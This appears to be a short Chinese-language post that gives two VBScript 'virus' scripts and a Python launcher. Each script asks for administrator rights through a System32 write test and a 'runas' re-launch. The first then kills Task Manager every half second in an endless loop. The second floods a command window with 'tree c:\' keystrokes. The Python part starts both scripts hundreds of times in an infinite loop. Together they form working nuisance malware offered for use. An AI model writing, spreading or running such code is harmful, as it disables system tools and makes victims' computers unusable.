Set WShell = WScript.CreateObject("WScript.Shell")
set fso =CreateObject("Scripting.FileSystemObject")
tFile = "C:\Windows\System32\drivers\etc\test.txt"
WShell.run("%comspec% /c echo 123> " & tFile), 0, True
if not fso.FileExists(tFile) then
CreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1
WScript.Quit
else
fso.DeleteFile(tFile)
End if
Set shell = CreateObject("wscript.shell")
Do
shell.Run "cmd /c taskkill /f /im taskmgr.exe",vbHide
WScript.Sleep 500
Loop
上面是vbs代码
下面是第二个vbs代码
Set WShell = WScript.CreateObject("WScript.Shell")
set fso =CreateObject("Scripting.FileSystemObject")
tFile = "C:\Windows\System32\drivers\etc\test.txt"
WShell.run("%comspec% /c echo 123> " & tFile), 0, True
if not fso.FileExists(tFile) then
CreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1
WScript.Quit
else
fso.DeleteFile(tFile)
End if
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run """cmd.exe"""
do
WScript.Sleep 3500
WshShell.SendKeys "tree c:\"
WshShell.SendKeys "{ENTER}"
WshShell.SendKeys "{ENTER}"
loop
WScript.Quit
下面结合python
import os #导入模块os
flag = 1
while (flag): #无限循环
for i in range(666): #循环666次
os.startfile(r'这里是第一个病毒位置') #打开文件
os.startfile(r'这里是第二个病毒位置') #打开文件